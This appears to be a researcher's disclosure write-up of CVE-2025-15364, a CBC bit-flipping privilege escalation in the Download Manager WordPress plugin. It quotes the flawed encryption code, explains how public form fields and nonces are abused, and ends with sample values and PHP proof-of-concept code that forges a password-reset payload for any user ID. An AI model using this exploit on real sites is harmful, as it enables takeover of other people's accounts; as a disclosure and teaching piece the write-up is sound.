You are here

November 2026

Privesc via CBC bit-flipping: CVE-2025-15364

In December 2025 I reported a Privilege Escalation vulnerability in the Download Manager WordPress plugin (as of version 3.3.40). This was assigned CVE-2025-15364.

The technical details of the vulnerability are quite interesting; it was exploitable via a technique called "CBC bit-flipping".

The plugin allows users to update their password. This (and other) functionality in the plugin uses encryption, but did so in a flawed way.

The encryption in use was AES-128 in CBC (Cipher Block Chaining) mode. This type of encryption involves a key - which should remain secret - and an Initialisation Vector (IV) which is not a secret, and is transmitted alongside ciphertext in plain sight. The first 16 byte block is decrypted with the key then XORed with the IV as part of the decryption.

The vulnerability

The problem is what happens if an attacker can change that IV. Because the first block is XORed with the IV, flipping a bit in the IV flips the corresponding bit in the first block of decrypted plaintext. If you know what the original plaintext was, you can work out how to change the IV to turn that first block of plaintext into any target value you like. This is called "CBC bit-flipping".

To guard against modification, encrypted data is often protected by a HMAC (Hash-based Message Authentication Code) which is like a fingerprint. However, in this case the IV was not included in that HMAC, so the code would detect tampering with the ciphertext but not the IV.

This means that an attacker can modify the IV to change the first 16 byte block to a value of their choosing, so long as they have a suitable sample of data encrypted with the same key where they know the original value.

Here's the vulnerable code:

https://plugins.trac.wordpress.org/browser/download-manager/tags/3.3.40/...

    public static function encrypt($text)
    {
        if($text === '') return '';

        $encKey = get_option('__wpdm_enc_key');
        if(!$encKey){
            $encKey = self::encKey();
            update_option('__wpdm_enc_key', $encKey);
        }

        $text = is_array($text) || is_object($text) ? json_encode($text) : $text;

        if(function_exists('openssl_cipher_iv_length')) {
            $ivlen = openssl_cipher_iv_length($cipher = "AES-128-CBC");
            $iv = openssl_random_pseudo_bytes($ivlen);
            $ciphertext_raw = openssl_encrypt($text, $cipher, $encKey, $options = OPENSSL_RAW_DATA, $iv);
            $hmac = hash_hmac('sha256', $ciphertext_raw, $encKey, $as_binary = true); // <= no $iv
            $ciphertext = base64_encode($iv . $hmac . $ciphertext_raw);

            $ciphertext = str_replace(array('+', '/', '='), array('-', '_', ''), $ciphertext);
            $ciphertext = trim($ciphertext, '=');
        } else {
            $ciphertext = base64_encode($text);
            $ciphertext = str_replace("=", "", $ciphertext);
            $ciphertext = base64_encode(base64_encode($encKey).$ciphertext);
            $ciphertext = trim($ciphertext, "=");
        }
        return $ciphertext;
    }

The exploit

The plugin exposes an unauthenticated AJAX action - updatePassword - part of the functionality whereby a user can change their own password via an email reset link. When the reset link is used, a form posts an encrypted blob (the __up_user parameter) to the ajax endpoint that tells the plugin which account the request is for. That blob is encrypted with the flawed scheme described above, so if we could flip its contents to point at an arbitrary ID, we could reset that account's password. The plugin limits this functionality to users that do not possess the "manage_options" permission, which limits Privilege Escalation a little, but bit-flipping is the fun part of this story anyway.

So the attacker's task is to simulate the use of a reset link for a target account. The encryption scheme described was what was supposed to prevent this; if you don't know the secret encryption key you shouldn't be able to create the encrypted __up_user parameter.

However, the only required part of the value the encryption was protecting was small; it's simply the target account ID as a JSON encoded object. For example {"ID":2}. Remember we said that if the attacker can manipulate the IV they can flip bits in the first 16 byte block? Such a small object fits inside that first block.

To do the bit-flip, we need a suitable sample of encrypted data where we know the original plaintext. We can't forge a valid HMAC ourselves, because we don't know the server's secret key - so instead we take a blob the server itself produced, with a genuine HMAC already attached, and manipulate only its IV.

In this case the plugin re-used the encryption method in a few other places which are exposed to the potential attacker, so they can access such a sample. Login form parameters, registration parameters, media identifiers, download keys - all of them are encrypted with the same key and the same broken scheme.

Specifically, the login form - which the plugin renders with a hidden __phash field - provides a legitimately encrypted payload that, on a fresh install, decrypts to the short JSON string {"logo":""}. It also provides a nonce, which is a token WordPress uses to protect sensitive functionality; in this case the plugin generated its nonces in such a way that a captured nonce could be reused (literally the opposite of how the name suggests they should behave), so they offered no protection.

With a nonce and sample of encrypted data, the attacker can use CBC bit-flipping to simulate a valid password reset link workflow for any user ID they choose.

The login form was the most convenient place to grab a known ciphertext in a clean install, but it wasn't the only one - and relying on it has a catch. On a brand-new site the login blob decrypts to {"logo":""}, which is short and predictable. But as soon as an administrator sets a Site Icon, that same field becomes something like {"logo":"example[.]com/wp-content/uploads/.../icon.png"} - far too long to fit in the single CBC block the bit-flip can reach. So on a realistic, configured site the login form shortcut wouldn't work.

Luckily there's an alternative on a site that's fully set up - the plugin's protected-media feature. When a media item is marked private and given a password (or restricted to certain roles), an anonymous visitor who requests it is served a password-prompt page. That page carries two gifts in its HTML: a hidden __meida field (which is the media's numeric ID encrypted with the flawed CBC scheme) and - as a bonus - a fresh nonce. In other words, a single unauthenticated request hands over both inputs the attack needs at once.

Even better, it behaves as an encryption oracle. The attacker chooses the media ID in the request, so they know the plaintext of the captured blob - it isn't a guess about site defaults, it's whatever number they asked for. A media ID is just a few digits, so the ciphertext is always a single block.

At this point you might reasonably ask: if the site will encrypt a value of our choosing, why bother with the bit-flip at all - why not simply ask it to encrypt {"ID":2} and send that? Well, that would be neat, but it won't work. The media ID is cast to an integer before it is encrypted, so the plaintext is always a bare number; there is no anonymous endpoint that will encrypt an arbitrary string for us.

This is where a detail of the bit-flip matters. The IV is a full 16 bytes and it is XORed over the whole first block - including any padding bytes, not just its visible content. That means the replacement does not have to be the same length as the original: we can take a one byte plaintext like "6" and rewrite the entire block into the eight byte {"ID":2}, including correct padding. The original value just has to be small enough to fit into the first 16 byte block.

Code examples

So here's how the CBC bit-flip on the form field actually looks:

Captured
  field value: 4L7yDi7tE0BocEnz3Ifgz2v-UgPRfG3zu4eu3aYygcpJgm5fjgvQd92FrGK8H93cREWvpF4-SPsSQJbSM5gELQ
  base64 decodes to IV (first 16 bytes) . HMAC (next 32 bytes) . ciphertext (the remainder):
  IV         : e0bef20e2eed1340687049f3dc87e0cf
  HMAC       : 6bfe5203d17c6df3bb87aedda63281ca49826e5f8e0bd077dd85ac62bc1fdddc
  ciphertext : 4445afa45e3e48fb124096d23398042d
  decrypts to: 6

Bit-flipped
  field value: rZO0RQPYLjJvd07024DnyGv-UgPRfG3zu4eu3aYygcpJgm5fjgvQd92FrGK8H93cREWvpF4-SPsSQJbSM5gELQ
  base64 decodes to IV (first 16 bytes) . HMAC (next 32 bytes) . ciphertext (the remainder):
  IV         : ad93b44503d82e326f774ef4db80e7c8   <- only this changed
  HMAC       : 6bfe5203d17c6df3bb87aedda63281ca49826e5f8e0bd077dd85ac62bc1fdddc
  ciphertext : 4445afa45e3e48fb124096d23398042d
  decrypts to: {"ID":2}

Here's the bit-flip part of a Proof of Concept based on the one I included in my report to Wordfence:

// $captured_string    - the encrypted blob scraped from the site
// $original_plaintext  - its known plaintext (e.g. a media ID like "6")
// $target_id           - the account we want to take over

// The captured field value is URL-safe base64; convert it back and decode.
$bin = base64_decode(strtr($captured_string, '-_', '+/'));

// The blob is three fixed parts concatenated: IV (16) | HMAC (32) | ciphertext.
$iv         = substr($bin, 0, 16);
$hmac       = substr($bin, 16, 32);
$ciphertext = substr($bin, 48);

// Build the full first block (plaintext + its own PKCS#7 padding) for both the
// value we captured and the value we want. Their lengths don't need to match;
// each just has to fit in this one 16 byte block.
$known  = pkcs7_block($original_plaintext);          // e.g. "6"
$target = pkcs7_block('{"ID":' . $target_id . '}');  // e.g. {"ID":2}

// Flip every byte of the IV
$new_iv = $iv;
for ($i = 0; $i < 16; $i++) {
    $new_iv[$i] = chr(ord($iv[$i]) ^ ord($known[$i]) ^ ord($target[$i]));
}

// Reassemble (HMAC and ciphertext untouched) and re-encode as URL-safe base64.
$final_payload = rtrim(strtr(base64_encode($new_iv . $hmac . $ciphertext), '+/', '-_'), '=');

// Pad a sub-16-byte string up to one block using PKCS#7.
function pkcs7_block($s) {
    $pad = 16 - strlen($s);
    return $s . str_repeat(chr($pad), $pad);
}